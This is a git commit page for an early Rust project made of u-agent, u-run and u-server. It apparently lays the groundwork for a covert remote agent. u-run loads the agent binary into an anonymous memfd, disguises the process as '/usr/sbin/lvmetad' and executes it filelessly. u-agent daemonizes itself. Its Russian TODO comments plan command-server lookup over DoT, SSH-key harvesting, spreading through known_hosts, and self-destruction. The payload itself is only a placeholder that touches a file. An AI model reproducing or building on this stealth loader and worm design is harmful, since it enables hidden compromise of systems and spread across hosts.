structed, working u-run

4-update-check
plazmoid 4 years ago
commit 1401c0efc4
  1. 6
      Cargo.toml
  2. 19
      u-agent/Cargo.toml
  3. 70
      u-agent/src/main.rs
  4. 11
      u-run/Cargo.toml
  5. 87
      u-run/src/main.rs
  6. 9
      u-server/Cargo.toml
  7. 3
      u-server/src/main.rs

@ -0,0 +1,6 @@
[workspace]
members = [
"u-run",
"u-server",
"u-agent"
]

@ -0,0 +1,19 @@
[package]
name = "u-agent"
version = "0.1.0"
authors = ["plazmoid <kronos44@mail.ru>"]
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
nix = "0.17"
libc = "^0.2"
sysinfo = "0.10.5"
#lazy_static = "1.4.0"
log = "^0.4"
env_logger = "0.7.1"
[profile.release]
panic = 'abort'
# strip

@ -0,0 +1,70 @@
// TODO:
// поддержка питона
// резолв адреса управляющего сервера через DoT
// кроссплатформенность (реализовать интерфейс для винды и никсов)
// перезапуск через memfd_create
// проверка обнов
// проверка ssh ключей и распространение через known_hosts
// самоуничтожение
use std::process::exit;
use nix::{
unistd::{
getppid,
setsid,
fork,
ForkResult,
close as fdclose,
chdir
},
sys::signal::{
signal,
Signal,
SigHandler
}
};
fn setsig(sig: Signal, hnd: SigHandler) {
unsafe {
signal(sig, hnd).unwrap();
}
}
fn daemonize() {
if getppid().as_raw() != 1 {
setsig(Signal::SIGTTOU, SigHandler::SigIgn);
setsig(Signal::SIGTTIN, SigHandler::SigIgn);
setsig(Signal::SIGTSTP, SigHandler::SigIgn);
}
for fd in 0..=2 {
match fdclose(fd) { _ => () }
}
match chdir("/") { _ => () };
match fork() {
Ok(ForkResult::Parent {..}) => {
exit(0);
},
Ok(ForkResult::Child) => {
match setsid() { _ => () }
}
Err(_) => {
exit(255)
}
}
}
fn main() {
use std::process::Command;
use std::thread::sleep;
use std::time::Duration;
daemonize();
loop {
sleep(Duration::from_secs(2));
Command::new("touch")
.arg("/tmp/win2")
.output()
.unwrap();
}
}

@ -0,0 +1,11 @@
[package]
name = "u-run"
version = "0.1.0"
authors = ["plazmoid <kronos44@mail.ru>"]
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
nix = "0.17"
libc = "^0.2"

@ -0,0 +1,87 @@
use nix::{
sys::memfd::{memfd_create, MemFdCreateFlag},
unistd::execv
};
use libc::{
fdopen,
fwrite,
c_void,
getpid
};
use std::{
ffi::{CString, CStr},
fs::{File, read_dir},
io::Read
};
fn get_uagent_data() -> Option<Vec<u8>> {
// TODO: if not ls - then download
let ls = read_dir("./").unwrap();
for dirfile in ls {
let filename: std::path::PathBuf = dirfile.unwrap().path();
if filename.ends_with("u-agent") {
let mut file = File::open(filename).unwrap();
let mut data: Vec<u8> = vec![];
file.read_to_end(&mut data).unwrap();
return Some(data)
}
}
None
}
fn get_proc_name() -> CString {
CString::new("/usr/sbin/lvmetad").unwrap()
}
fn create_memfd() -> i32 {
let name = get_proc_name();
let fd = memfd_create(
&name,
MemFdCreateFlag::empty()
).unwrap();
assert!(fd > 0);
fd
}
fn main() {
let agent_data: Vec<u8> = {
let mut data;
loop {
data = get_uagent_data();
if data.is_some() {
break;
}
}
data.unwrap()
};
let ad_len = agent_data.len();
let fd = create_memfd();
let file = unsafe {
let res = fdopen(fd,
CStr::from_bytes_with_nul(b"w\0")
.unwrap().as_ptr()
);
if res.is_null() {
panic!("WTF!");
}
res
};
let res_len = unsafe {
fwrite(
agent_data.as_ptr() as *const c_void,
1, ad_len, file
)
};
if res_len != ad_len {
panic!("write wasn't successful: {}, need {}",
res_len, ad_len);
}
let exec_path: String = format!("/proc/{}/fd/{}",
unsafe { getpid() }, fd);
let proc_name = get_proc_name();
let args = [proc_name.as_c_str()];
execv(
&CString::new(exec_path).unwrap(),
&args
).unwrap();
}

@ -0,0 +1,9 @@
[package]
name = "u-server"
version = "0.1.0"
authors = ["plazmoid <kronos44@mail.ru>"]
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]

@ -0,0 +1,3 @@
fn main() {
println!("Hello, world!");
}
Loading…
Cancel
Save